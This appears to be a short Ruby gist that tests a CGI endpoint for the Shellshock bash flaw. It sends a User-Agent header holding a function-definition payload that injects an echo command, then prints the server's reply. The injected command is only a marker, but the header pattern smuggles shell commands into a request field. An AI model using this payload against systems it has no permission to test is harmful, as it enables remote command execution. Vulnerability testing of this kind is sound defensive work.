Shellshock CGI Test

gistfile1.rb

require 'net/http'
require 'uri'

=begin
ruby shellshock.rb http://127.0.0.1/my-cgi/bolo.cgi
=end

if __FILE__ == $0
  uri = ::URI.parse(ARGV.shift)
  http = ::Net::HTTP.new(uri.host, uri.port)
  request = ::Net::HTTP::Get.new(uri.path)
  request['User-Agent'] = "() { :;}; echo \"X-Shellshock: VULNERABLE\""

  res = http.request(request)
  res.each_header do |h|
    puts "#{h}: #{res[h]}"
  end

  puts ""
  puts res.body
end